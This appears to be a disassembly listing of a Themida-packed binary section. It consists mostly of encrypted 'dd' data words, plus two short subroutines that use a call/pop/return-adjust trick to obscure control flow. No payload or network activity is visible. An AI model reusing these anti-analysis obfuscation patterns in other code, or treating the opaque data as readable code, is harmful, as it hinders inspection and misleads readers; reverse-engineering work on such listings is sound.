		dd 9896D56Dh, 5B7974E2h, 6FC92597h, 0DAD1A560h,	9A7EF77Eh
		dd 0A359E907h, 4BD8110Dh, 0AFEF3CCEh, 0CB5D39E1h, 225AC3ECh
		dd 0F9CED515h, 0C044169Dh, 8F26CA36h, 0C1F8976h, 0AF5CEF24h
		dd 0DC609B7Ah, 755AA9F8h, 225AC017h, 0E105E3FFh, 6264AA0h
		dd 61E42FBh, 225AD8FBh,	0E10D84FFh, 6D0897C7h, 1CE83079h
		dd 22301300h, 22592BA8h, 7D7AC3FFh, 5ED39C3Ch, 66DBC7DBh
		dd 2246C7DBh, 751DC3FFh, 6FBC073Ch, 0E3B143C9h,	97D384DAh
		dd 25A0D716h, 0A3C74AAEh, 7C5D39CBh, 171B4676h,	2230C405h
		dd 22592BADh, 787AC3FFh, 76D3993Ch, 66DBC7DBh, 224EC7DBh
		dd 7018C3FFh, 0A7D70D3Ch, 25A0ED8Ah, 0AB944899h, 0D84D8E7Ah
		dd 0FFD74AF8h, 0E45D39EBh, 0D84FB27Ah, 4AA690F8h, 0EACBE16Dh
		dd 22584DF0h, 0D0D1C3FFh, 687EF77Eh, 2B6EE395h,	0D85EFE4Ah
		dd 7FEF48F8h, 0DD5D39F8h, 0D8444E4Ah, 725AA9F8h, 225AC017h
		dd 0E102E3FFh, 61E4AA7h, 61E42FBh, 225AD5FBh, 0E10A83FFh
		dd 4407AEDCh, 427E297Eh, 18024672h, 2230C401h, 22592BAEh
		dd 7B7AC3FFh, 6ED39A3Ch, 66DBC7DBh, 224EC7DBh, 731BC3FFh
		dd 0CB3A393Ch, 225AC3F1h, 0F7FDFA6Eh, 0F3779DBEh, 6EEF611h
		dd 36B34EB3h, 0B75AC3FFh, 4388137Fh, 1CA46D0Eh,	94A7493Fh
		dd 1EE5F778h, 4327AF5Fh, 20FB5674h, 0F2A5C405h,	0C6B04299h
		dd 0FDF4A63h, 0B5D39FEh, 0D87BBA42h, 53DF05F8h,	715D39EAh
		dd 0CA0FC395h, 225AC3FCh, 7F999EDFh, 267EAF76h,	267E877Eh
		dd 225AC3EBh, 709996BAh, 168F56D6h, 9B32C405h, 0CB97BD66h
		dd 225AC3F6h, 0B37E64EDh, 84982A81h, 66E42BBh, 373C9EF5h
		dd 3CD77600h, 9C3AC405h, 24615CFBh, 3A7776F6h, 0AF3BC405h
		dd 0DC609B7Ah, 745AA9F8h, 225AC017h, 0E104E3FFh, 62E4AA1h
		dd 61E42FBh, 225AD8FBh,	0E10C85FFh, 0D121350Fh,	0CAC0106Eh
		dd 22301300h, 22592BA9h, 7C7AC3FFh, 56D39D3Ch, 66DBC7DBh
		dd 224DC7DBh, 741CC3FFh, 6516B53Ch, 22552A6Ah, 9C14C3FFh
		dd 1CD27B98h, 3FFB5C55h, 875A9A1Bh, 21DBCCFDh, 0A25AC3FFh
		dd 0A7D37821h, 25A0C2B2h, 95631A7Eh, 0A79C9E40h, 25A0D68Eh
		dd 0C0A77AB8h, 26B2FA6Eh, 8B5AC3FFh, 72ED1D22h,	22492A9Fh
		dd 0AA1AC3FFh, 2DB002A9h, 0B7B7CB09h, 0F82E1829h, 0BDECC685h
		dd 0F7BC7A22h, 0A93BB775h, 445EE7BBh, 0A9033941h, 0ABA848FFh
		dd 2D5EE7BBh, 225ACD7Ch, 0A655A3FFh, 225AC3FFh,	135591AFh
		dd 7A3B9BA5h, 0CA0CC395h, 225AC3FCh, 7C999DDFh,	267EB776h
		dd 267E877Eh, 225AC3E3h, 839995B9h, 32F15BB3h, 19500422h
		dd 3CD77600h, 2230C405h, 22592BAAh, 7F7AC3FFh, 4ED39E3Ch
		dd 66DBC7DBh, 224FC7DBh, 771FC3FFh, 0BB4773Ch, 0D844F66Ah
		dd 7ADF4EF8h, 485D3DC5h, 21B292FFh, 25AC3FFh, 0AB0300A6h
		dd 0A35EE7B3h, 345EE7BBh, 635AC3FFh, 10BA00AEh,	0F0EDCC10h
		dd 22301300h, 22592BADh, 787AC3FFh, 76D3993Ch, 66DBC7DBh
		dd 224CC7DBh, 7018C3FFh, 4A8A553Ch, 36B4676h, 2FB2C405h
		dd 0B45AC3FFh, 0C9F7B587h, 928DC43h, 6FD45123h,	2ABB4E74h
		dd 0D704C405h, 372B4639h, 481DC405h, 21B290FFh,	25AC3FFh
		dd 0AB0100A4h, 0A35EE7A3h, 395EE7BBh, 615AC3FFh, 3AC300ACh
		dd 6E0BDE03h, 0A5551CD7h, 225AC3FAh, 359F4440h,	225E2B8Eh
		dd 3220C3FFh, 26E04223h, 72223F41h, 225AC816h, 341785FFh
		dd 5256A92Ah, 0D333D214h, 267E8774h, 225AC917h,	0D1C6F0FFh
		dd 4AC1D19Fh, 7C913B00h, 32B2C374h, 0F05AC3FFh,	0AF80FAA5h
		dd 0E8E90E05h, 69EAF89Ah, 72583128h, 225C2BADh,	3653C3FFh
		dd 22135925h, 446BCCA1h, 7A001274h, 61E4AA6h, 2CB3A3FBh
		dd 15AC3FFh, 63E463E1h,	0BF684D0Eh, 0C6A54737h,	439B49CCh
		dd 705AA9A7h, 225AC017h, 0E100E3FFh, 60E4AA5h, 61E42FBh
		dd 225ADFFBh, 0E10881FFh, 0B72A3558h, 0EA3EEB84h, 0DD9048BAh
		dd 0D8444E4Ah, 735AA9F8h, 225AC017h, 0E103E3FFh, 6164AA6h
		dd 61E42FBh, 225AD9FBh,	0E10B82FFh, 285E6CC2h, 0ABC442A5h
		dd 0D852EE4Ah, 7ADF4EF8h, 135D3DC5h, 0D87CFA62h, 488A3CF8h
		dd 21B291FFh, 25AC3FFh,	0AB0000A5h, 0A35EE7ABh,	395EE7BBh
		dd 605AC3FFh, 87AF00ADh, 7B04565Ah, 0A33C42D5h,	0AB10513Dh
		dd 0D859667Ah, 1FE74AF8h, 0E45D39E9h, 0D84FB27Ah, 223084F8h
		dd 22592BAEh, 7B7AC3FFh, 6ED39A3Ch, 66DBC7DBh, 2246C7DBh
		dd 731BC3FFh, 32F7EE3Ch, 0A0EF4130h, 2AB2A66Ch,	7E5AC3FFh
		dd 7A530E37h, 7B5E1ED8h, 2AA77EF6h, 26B2C405h, 7F5AC3FFh
		dd 0CAF00EC3h, 225AC3EEh, 83A65FD1h, 0C523B5A3h, 77E6EAC5h
		dd 0C5B8C7B8h, 46527C22h, 72038552h, 66D13E4Ah,	0A93CC7DBh
		dd 9B5A4801h, 1AD0109Fh, 267E8776h, 225AC816h, 0FBBE5EFFh
		dd 976ED68Dh, 85C29BFBh, 0AFEF3CA7h, 485D39E1h,	21B290FFh
		dd 25AC3FFh, 0AB0100A4h
		dd 0A35EE7A3h, 375EE7BBh, 615AC3FFh, 0A0F700ACh, 8C804299h
		dd 7ADF4E0Ah, 445D3DC5h, 4491227Eh, 22301300h, 22592BA9h
		dd 7C7AC3FFh, 56D39D3Ch, 66DBC7DBh, 224EC7DBh, 741CC3FFh
		dd 9D554E3Ch, 22492A0Eh, 169CC3FFh, 673E4013h, 3167E127h
		dd 0E7D8FC07h, 0C3169BE7h, 27DF4ACAh, 485D39D0h, 21B290FFh
		dd 25AC3FFh, 0AB0100A4h, 0A35EE7A3h, 3E5EE7BBh,	615AC3FFh
		dd 0C71D00ACh, 8705BE78h, 0DD75C138h, 715AA92Fh, 225AC017h
		dd 0E101E3FFh, 6064AA4h, 61E42FBh, 225ADBFBh, 0E10980FFh
		dd 0A137226Bh, 0C3DF4A08h, 485D39F9h, 21B295FFh, 25AC3FFh
		dd 0AB0400A1h, 0A35EE78Bh, 395EE7BBh, 645AC3FFh, 0DB0900A9h
		dd 0CA0B62F4h, 0B773E8EBh, 25A0D20Ah, 0AB824F99h, 0D877266Ah
		dd 285EE7F8h, 3BDECC3Fh, 0B5AC3FCh, 0D8729272h,	53DF05F8h
		dd 6D5D39EAh, 246F4E76h, 8532C405h, 44F6E1C2h, 0A34FC445h
		dd 0D47E7FBh, 0A155D0A1h, 225AC3FCh, 0DDAA7CF0h, 0D8444E4Ah
		dd 715AA9F8h, 225AC017h, 0E101E3FFh, 6064AA4h, 61E42FBh
		dd 225ADAFBh, 0E10980FFh, 9EBD58A0h, 0A93C0404h, 7ADF4E07h
		dd 0AB5D3DC5h, 0D87FAA42h, 77EF48F8h, 0DD5D39CAh, 0C3DFC22Fh
		dd 0A15D39F5h, 0AF73E73Fh, 25A0D476h, 35DF4676h, 2230C405h
		dd 22592BAFh, 7A7AC3FFh, 66D39B3Ch, 66DBC7DBh, 224DC7DBh
		dd 721AC3FFh, 0E0FF033Ch, 0C3DF4875h, 485D39F9h, 21B292FFh
		dd 25AC3FFh, 0AB0300A6h, 0A35EE7B3h, 395EE7BBh,	635AC3FFh
		dd 0FCE800AEh, 4D436711h, 0D0DB2537h, 4BC2F50h,	0D5F5E74h
		dd 2230C405h, 22592BACh, 797AC3FFh, 7ED3983Ch, 66DBC7DBh
		dd 2247C7DBh, 7119C3FFh, 80493C3Ch, 31FDC7Ah, 0CBE71A06h
		dd 225AC3F7h, 879917D2h, 995BA09Ch, 0A7D1A3BCh,	25A0E6E6h
		dd 586F237Eh, 0A93BB361h, 705AA9E4h, 225AC017h,	0E100E3FFh
		dd 60E4AA5h, 61E42FBh, 225ADFFBh, 0E10881FFh, 505CA978h
		dd 0B7340CD3h, 7FE74836h, 235D39EDh, 0D86E524Ah, 134148F8h
		dd 0D85E3262h, 0A98B75F8h, 7FEF48E4h, 115D39F5h, 725AA927h
		dd 225AC017h, 0E102E3FFh, 61E4AA7h, 61E42FBh, 225ADEFBh
		dd 0E10A83FFh, 0BC8DD463h, 8F936D7Dh, 0AFD39F4Bh, 25A0F7EAh
		dd 381B5E76h, 2230C405h, 22592BACh, 797AC3FFh, 7ED3983Ch
		dd 66DBC7DBh, 224FC7DBh, 7119C3FFh, 0A22E9F3Ch,	4CE06532h
		dd 0E41DC487h, 0D84FB27Ah, 223084F8h, 22592BAAh, 7F7AC3FFh
		dd 4ED39E3Ch, 66DBC7DBh, 224DC7DBh, 771FC3FFh, 0AD011D3Ch
		dd 22D5CCF1h, 4A5AC3FFh, 904B1332h, 225AD716h, 9E01F6FFh
		dd 0A2F29690h, 0AEB02F92h, 470C877Dh, 68DF1C00h, 66E4216h
		dd 2795CE9Bh, 0CA09C395h, 225AC3FCh, 799998DFh,	267E9F76h
		dd 267E877Eh, 225AC3E2h, 7E9990BCh, 0B1C50F9Bh,	98EAA76Fh
		dd 6BD74AC5h, 0DD5D39EEh, 0D8444E4Ah, 705AA9F8h, 225AC017h
		dd 0E100E3FFh, 60E4AA5h, 61E42FBh, 225ADBFBh, 0E10881FFh
		dd 5C5FB196h, 24D0CC0Ah, 0B5AC3FFh, 0D8779662h,	7ADF4EF8h
		dd 0AB5D3DC5h, 0D87C3A72h, 0AB8A3CF8h, 0D87BF27Ah, 223083F8h
		dd 22592BADh, 787AC3FFh, 76D3993Ch, 66DBC7DBh, 2241C7DBh
		dd 7018C3FFh, 2CC2BA3Ch, 7BAA6B1Ah, 26DACC3Bh, 445AC3FFh
		dd 2B739645h, 0D84FA27Ah, 485A48F8h, 21B296FFh,	25AC3FFh
		dd 0AB0700A2h, 0A35EE793h, 395EE7BBh, 675AC3FFh, 0CC1600AAh
		dd 6C8F9135h, 2FB20948h, 365AC3FFh, 809958B4h, 0E58B27EAh
		dd 0F0096B71h, 16CF7676h, 0A900C405h, 0D877824Ah, 445A48F8h
		dd 5552247Eh, 0ABCB127Fh, 0D87DC67Ah, 2B9148F8h, 0D872B662h
		dd 23DE2AF8h, 9FD3C3FFh, 25A0F17Ah, 225C41F0h, 0AFD1C3FFh
		dd 25A0CB76h, 5E484672h, 2230C401h, 22592BAFh, 7A7AC3FFh
		dd 66D39B3Ch, 66DBC7DBh, 2241C7DBh, 721AC3FFh, 0D927083Ch
		dd 72B2BED9h, 548D4224h, 0AB0588CBh, 0D8467A4Ah, 0A93C93F8h
		dd 65E4A01h, 0CA08C395h, 225AC3FCh, 789999DFh, 267E9776h
		dd 267E877Eh, 225AC3E9h, 0E39991BDh, 0A75587D3h, 225AC3F9h
		dd 4C77676h, 0B7A5C405h, 25A0D856h, 0CA0FC395h,	225AC3FCh
		dd 7F999EDFh, 267EAF76h, 267E877Eh, 225AC3E8h, 0FB9996BAh
		dd 23C1BB1Eh, 0D8580642h, 3AC74EF8h, 0B15D3D83h, 720991AFh
		dd 786BCCADh, 135599A7h, 4DE0A5A9h, 7A009AD0h, 8C5D7DAFh
		dd 48C994BDh, 21B294FFh, 25AC3FFh, 0AB0500A0h, 0A35EE783h
		dd 3F5EE7BBh, 655AC3FFh, 8DA400A8h, 9ECF30C0h, 1CFAB7Eh
		dd 224247F0h, 31B3C3FFh, 0D25AC3FFh, 0F86DFF0h,	78B12048h
		dd 0CBD36987h, 0ABA9B054h, 71CA9EBFh, 225AC816h, 5228A1FFh
		dd 2D8ECAAEh, 61EDCECFh, 700A93A1h, 225ACD16h, 42AD76FFh
		dd 694B7EC9h, 0BA6A9799h, 2D7DF7F0h, 0CE9279CEh, 7A0084DAh
		dd 0DE3A926Fh, 439274F0h, 0C3CF3CA6h, 485D39FDh, 21B295FFh
		dd 25AC3FFh, 0AB0400A1h, 0A35EE78Bh, 365EE7BBh,	645AC3FFh
		dd 424000A9h, 0D9854299h, 0D3E5CC72h, 0A7DF4A9Eh, 735D39E8h
		dd 225948F0h, 0CCDAC3FFh, 9B3C9C38h, 0A79CF774h, 25A0D68Eh
		dd 0BBE7CAACh, 0CA5D39EBh, 225AC3FBh, 88DD4780h, 20D8CC9Fh
		dd 945AC3FFh, 0F1D19545h, 0A90AA2A5h, 425EE7BBh, 0D3D1504Ah
		dd 2D5A489Eh, 225AC376h, 61E4AFFh, 420893FBh, 0D8D0584Dh
		dd 0CA6BCC9Eh, 225AC3FAh, 4040512Fh, 22562B61h,	33A5C3FFh
		dd 0A414216Ah, 0B6424233h, 7B05132Ah, 48029BA5h, 21B293FFh
		dd 25AC3FFh, 0AB0200A7h, 0A35EE7BBh, 365EE7BBh,	625AC3FFh
		dd 0DD8900AFh, 0D8444E4Ah, 0D3D1A5F8h, 64A5327Eh, 0A7D78D5Fh
		dd 25A4F9A7h, 20777E76h, 0F2A5C405h, 0CA09C395h, 225AC3FCh
		dd 799998DFh, 267E9F76h, 267E877Eh, 225AC3E6h, 7A9990BCh
		dd 0C30CF2h, 0F1EDCC0Bh, 3CA34676h, 0A79CC405h,	25A0D68Eh
		dd 725AA9B8h, 225AC017h, 0E102E3FFh, 61E4AA7h, 61E42FBh
		dd 225ADEFBh, 0E10A83FFh, 0D161DDD3h, 0FF01372Eh, 5C325CEFh
		dd 72F712B9h, 446BCCADh, 7A001474h, 0CC7EF77Eh,	0AB5660ACh
		dd 0D8482672h, 0AFEF3CF8h, 935D39E1h, 7ADF4E94h, 485D3DC5h
		dd 21B294FFh, 25AC3FFh,	0AB0500A0h, 0A35EE783h,	3F5EE7BBh
		dd 655AC3FFh, 2EF700A8h, 95FA6EC2h, 92468083h, 1B1D0C7Eh
		dd 97D1BFF9h, 25A0D6CEh, 0A33C1300h, 0ABEF7739h, 0D84CDE7Ah
		dd 745AA9F8h, 225AC017h, 0E104E3FFh, 62E4AA1h, 61E42FBh
		dd 225ADBFBh, 0E10C85FFh, 0C8149D4Fh, 0BF739299h, 25A0D436h
		dd 53DF05A6h, 715D39EAh, 0CA0AC395h, 225AC3FCh,	7A999BDFh
		dd 267E8776h, 267E877Eh, 225AC3E8h, 269993BFh, 0A3810F1Fh
		dd 1459EB21h, 225E2BA7h, 7DCAC3FFh, 983C5AC6h, 2D0A7816h
		dd 225ACB79h, 0AF5594FFh, 225AC3FFh, 61E48A6h, 0BE3A5FBh
		dd 0CB5A489Bh, 225AC3F8h, 0C08AB3F4h, 0AB273E04h, 425EE7BBh
		dd 22D3CCA9h, 7D5AC3FFh, 7A3BE84Fh, 225445F0h, 0A33AC3FFh
		dd 0C1F44916h, 73C74AE1h, 435D39FEh, 3CD77600h,	9D55C405h
		dd 7ADF4E0Eh, 445D3DC5h, 0A822217Eh, 22301300h,	22592BACh
		dd 797AC3FFh, 7ED3983Ch, 66DBC7DBh, 2241C7DBh, 7119C3FFh
		dd 0A7FAA83Ch, 3A267D6Ah, 21D6CC76h, 2D5AC3FFh,	0A7D33240h
		dd 25A0D482h, 0CA0DC395h, 225AC3FCh, 7D999CDFh,	267EBF76h
		dd 267E877Eh, 225AC3E7h, 979994B8h, 0BFE48755h,	39844299h
		dd 53DF05C9h, 755D39EAh, 0CA0CC395h, 225AC3FCh,	7C999DDFh
		dd 267EB776h, 267E877Eh
		dd 225AC3EAh, 639995B9h, 398042FBh, 0CA78FEE1h,	225AC3FBh
		dd 0B25E91F9h, 3F0FC741h, 28B293C6h, 0FA5AC3FFh, 1E3CA0EDh
		dd 54BC266h, 22552AB3h,	0FA9CC3FFh, 463EB792h, 32582DABh
		dd 5A410B15h, 66D1997Ah, 0A455C7DBh, 225AC3F5h,	7282499Fh
		dd 786BCCADh, 22D1A2A7h, 53757999h, 267E8776h, 22594FF0h
		dd 0A93CC3FFh, 97D19B37h, 25A0CF06h, 3CD77600h,	2230C405h
		dd 22592BADh, 787AC3FFh, 76D3993Ch, 66DBC7DBh, 2240C7DBh
		dd 7018C3FFh, 0B12C23Ch, 87D2068Dh, 31874E76h, 0A7D7C405h
		dd 25A4F9A7h, 0CA09C395h, 225AC3FCh, 799998DFh,	267E9F76h
		dd 267E877Eh, 225AC3E8h, 329990BCh, 0B673EC4h, 0D845AE6Ah
		dd 728A3CF8h, 78A074F0h, 23D74676h, 2230C405h, 22592BAFh
		dd 7A7AC3FFh, 66D39B3Ch, 66DBC7DBh, 2242C7DBh, 721AC3FFh
		dd 8F14683Ch, 0EAD1C00Ch, 225ACA16h, 0FC7C79FFh, 0F0249B45h
		dd 0A79CF1D0h, 25A0D68Eh, 27DECCBCh, 445AC3FFh,	0D61A117Eh
		dd 5E9B6197h, 2C2E7C28h, 16DBEA3Dh, 0CEEB49DBh,	715AA994h
		dd 225AC017h, 0E101E3FFh, 6064AA4h, 61E42FBh, 225AD8FBh
		dd 0E10980FFh, 310B799Eh, 48659313h, 2177E76h, 97D1C405h
		dd 25A0E2DEh, 3CD77600h, 0F3DBC405h, 12748119h,	18024672h
		dd 0A33CC401h, 0DD3F9918h, 755AA92Fh, 225AC017h, 0E105E3FFh
		dd 6264AA0h, 61E42FBh, 225ADBFBh, 0E10D84FFh, 37339EAAh
		dd 8BDF4AE6h, 485D39F4h, 21B294FFh, 25AC3FFh, 0AB0500A0h
		dd 0A35EE783h, 375EE7BBh, 655AC3FFh, 0DC2C00A8h, 0FFB4676h
		dd 0A7D7C405h, 25A4BFF7h, 388B7676h, 9759C405h,	25A0E63Ah
		dd 7294496Fh, 0E9379F41h, 22305383h, 22592BADh,	787AC3FFh
		dd 76D3993Ch, 66DBC7DBh, 224FC7DBh, 7018C3FFh, 2D7FC33Ch
		dd 225AC072h, 92B743FFh, 2EAB5E76h, 2AB3C405h, 0D5AC3FFh
		dd 0CEC37292h, 0DD2E8A89h, 0D8416A6Ah, 0A33CA3F8h, 7098371Fh
		dd 225AD316h, 6AD7D3FFh, 1147D53Ah, 79A722BBh, 0A6691E9Bh
		dd 0A93B9987h, 224A2A27h, 0FCA8C3FFh, 6C0FCE51h, 141B3EC8h
		dd 5A13E153h, 0A7D772CCh, 25A4B803h, 97D7C2A8h,	785D39DFh
		dd 27D5CCAFh, 9D5AC3FFh, 49F98D65h, 487EC776h, 21B294FFh
		dd 25AC3FFh, 0AB0500A0h, 0A35EE783h, 355EE7BBh,	655AC3FFh
		dd 1D8400A8h, 2DB3C117h, 0EE5AC3FFh, 6CF13D1Ah,	4E593052h
		dd 64E71EA9h, 70C99C95h, 72032975h, 225AC616h, 0B54827FFh
		dd 97C9A8F5h, 0C3CF3C08h, 0AB5D39FDh, 0D873CE72h, 2EB290F8h
		dd 8C5AC3FFh, 533EEC8Bh, 0AB74E016h, 0CBFE844Ah, 225AC3EFh
		dd 4AD22128h, 0AB55601Dh, 75BF14BBh, 0F9437B71h, 0A7D399A1h
		dd 25A0D4DEh, 2BE34638h, 2255C405h, 2230C3FFh, 22592BAFh
		dd 7A7AC3FFh, 66D39B3Ch, 66DBC7DBh, 224FC7DBh, 721AC3FFh
		dd 0DADE933Ch, 357B5600h, 2230C405h, 22592BAEh,	7B7AC3FFh
		dd 6ED39A3Ch, 66DBC7DBh, 2241C7DBh, 731BC3FFh, 2F13523Ch
		dd 0DAD45449h, 0ABDF4A0Fh, 0A95D39EDh, 0D87CDE4Ah, 63DF48F8h
		dd 0AF5D39CAh, 0DCD54862h, 23194AF8h, 0C2F7E72h, 97D7C405h
		dd 25A44C9Ah, 225AF046h, 0C9FE30FFh, 225A7BCCh,	0E251C3FFh
		dd 3A98C08Bh, 61E48FFh,	22B290F3h, 795AC3FFh, 224D007Eh
		dd 7ED3C3FFh, 66D3D3DBh, 9A01D7DBh, 22EF39C8h, 66D12300h
		dd 0C2A5C7DBh, 225AD316h, 563D2FFh, 4A16D2DBh, 84E08749h
		dd 0B71CFD73h, 755AA98Eh, 225AC017h, 0E105E3FFh, 6264AA0h
		dd 61E42FBh, 225ADFFBh,	0E10D84FFh, 9883DF05h, 0ADFF6E6h
		dd 27D748A1h, 0A95D39F9h, 0D87EB26Ah, 2230A2F8h, 22592BA9h
		dd 7C7AC3FFh, 56D39D3Ch, 66DBC7DBh, 2240C7DBh, 741CC3FFh
		dd 8AF7B63Ch, 6F023CF7h, 225C40F0h, 0A75BC3FFh,	25A0C82Eh
		dd 21DDCCA9h, 2D5AC3FFh, 0AF003540h, 0DC213F42h, 11D74EF8h
		dd 9A5D3D6Fh, 0BA7C68CAh, 350346CCh, 0ED71C405h, 0A0DB0AA3h
		dd 0FF489A48h, 0FF21B294h, 0A0025AC3h, 83AB0500h, 0BBA35EE7h
		dd 83345EE7h, 0A4F305E9h, 8160D98Bh, 0BCB50F3h,	12E953h
		dd 0DCD20000h, 8E85AB8Bh, 0F69C487Eh, 0A243DA4Fh, 3EFBB595h
		dd 7FE961h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 180424h, 51410000h, 43F15CC3h, 8E94AC3h, 65000000h
		dd 7CD7852Ah, 619C2863h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 0DBC35141h, 6CF4E4E2h, 6AC3F8h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 9A6890C3h, 0F78160FFh, 5B3B9C92h, 28E0Fh, 0D98B0000h
		dd 0E9C08B61h, 0Eh, 0EEB7027Fh,	8842B903h, 515F89C8h, 0BD83061Eh
		dd 7FA16D1h, 83097500h,	0FA3535BDh, 19740007h, 0C08B5350h
		dd 4B9B8h, 2D858900h, 8D07FA11h, 0FD40419Dh, 5BD3FF07h
		dd 35BD8358h, 7FA35h, 53501774h, 4B9B8h, 2D858900h, 8D07FA11h
		dd 0FD3CE29Dh, 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 7D15D5E3h
		dd 0CC57E55h, 0AE1BE60h, 0E9602478h, 14h, 25558AA8h, 0B7CDB693h
		dd 0A57C4183h, 90C68246h, 84E4B291h, 890Fh, 61610000h
		dd 88D0Fh, 880F0000h, 2, 6A6160h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0C08B87C3h, 6E9h, 4F479600h
		dd 0FD0F7A5h, 183h, 8B40F900h, 50006AC1h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0AADC6310h
		dd 4EBh, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1D0424h, 56460000h, 0A9D228C3h, 97A1D915h, 8BC740D3h
		dd 0FA19E1BDh, 0F6815007h, 5F1B4F8Dh, 0D858D5Eh, 6607FA15h
		dd 5250FB8Bh, 52505250h, 585A310Fh, 6160310Fh, 895E585Ah
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 3909ACC3h, 0CDB58B6Fh, 6607FA16h,	8DA1F681h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 3BFFA1C3h, 0F88B66E2h, 10E8h, 77C70000h
		dd 73B01335h, 6B61CC66h, 64F23982h, 8D0F570Ah, 0
		dd 6A5E5Eh, 68A0Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7FA128Dh],	edx
		lea	eax, [ebp+7FE93B3h]
		push	0
		push	edi
		call	sub_5EADEB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EADEB	proc near		; CODE XREF: Themida_:005EADE3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5EADEB	endp

; ---------------------------------------------------------------------------
		sbb	cl, [edx]
		adc	[edx+5C08394h],	ah
		push	0
		push	edx
		call	sub_5EAE0E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EAE0E	proc near		; CODE XREF: Themida_:005EAE06p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5EAE0E	endp

; ---------------------------------------------------------------------------
		dw 2F94h
		dd 89698A04h, 0FA14CDB5h, 0BE669007h, 0BE50EB76h, 23601CAh
		dd 68F0F90h, 89000000h,	0FA19E1B5h, 6A006A07h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 9AEAC353h, 2DB6B379h, 6AA55DF9h, 0DDBE6600h,	4D95FF68h
		dd 107FA17h, 0FA1BF1B5h, 0DB9D8D07h, 8B07FE7Ah,	0FA0329BDh
		dd 29D3FF07h, 0FA175185h, 2585FF07h, 6A07FA31h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 29DDC351h, 0B5BD8BFDh, 0E907FA08h, 72Ch, 0E8h, 0ED815D00h
		dd 7FE93BDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	28C35040h, 7830Fh, 60600000h, 0A1F58061h, 148B0F61h
		dd 0E9000000h, 0Fh, 359783CDh, 0E63F7C33h, 2F28BCC6h, 817C26C8h
		dd 0FA09B9BDh, 7D007h, 2B860F00h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 2F38C357h, 894E5D58h, 0FA14E99Dh, 799D8B07h,	6A07FA11h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 33C0C350h, 0B5890E99h, 7FA122Dh, 5B501h
		dd 0E38107FAh, 100h, 0FF3BF0Fh,	0DB0BFEB7h, 76850Fh, 0BD830000h
		dd 7FE9202h, 10840F00h,	31000000h, 0FA00B59Dh, 6EE907h
		dd 81660000h, 0C736C5C7h, 0FE920285h, 107h, 14E800h, 22B20000h
		dd 0F96FB05Fh, 2618D32Fh, 5995BE8Ch, 0EFD354F7h, 0EF810B53h
		dd 73C63CF0h, 3AE95Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 5CBF14C3h, 0BD8B3234h
		dd 7FA27C5h, 3EBEBF66h,	920285C7h, 7FEh, 0D6810000h, 7EDE03D9h
		dd 11799D8Dh, 238107FAh, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0C35646h, 0A6F74B90h, 8E0FCB27h
		dd 6, 0D8589h, 8C6607FAh, 56006ADBh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0FB8B66EBh
		dd 25E5B58Bh, 0C3F607FAh, 5A840F04h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0E51BC352h, 0BE2013h, 291AC9D3h, 0FA18A585h,	2195FF07h
		dd 0BF07FA17h, 51A6CC84h, 24048950h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 3C35242h, 60E13144h, 3AEE970h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0F9EC0AC3h, 8E857FEh, 63000000h, 24F2E71h
		dd 5F098C67h, 8C9B531h,	0B007FAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0BEC35040h,	2AFE0244h, 0DD9D8900h
		dd 0E607FA24h, 53006A70h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0C5958980h, 0E907FA26h
		dd 5, 3EA8132Dh, 5671E4CAh, 0FD7D59BFh,	0B60F5E0Ch, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 6BAD1B1h, 0E9000000h, 11h, 9B372C1Ah, 96711B1Fh, 78D93A77h
		dd 2D63EF23h, 6AC38B04h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D62FC350h,	0A28FBF3Dh
		dd 8B946C69h, 0FA1169BDh, 4E8C107h, 1EF5B589h, 0F76607FAh
		dd 0F78B66E2h, 14E1B58Bh, 0D82B07FAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0A7C35545h,	1D64B21h, 9EC951B0h
		dd 12E993DCh, 32000000h, 0A0377BAAh, 7341B011h,	3D77DF21h
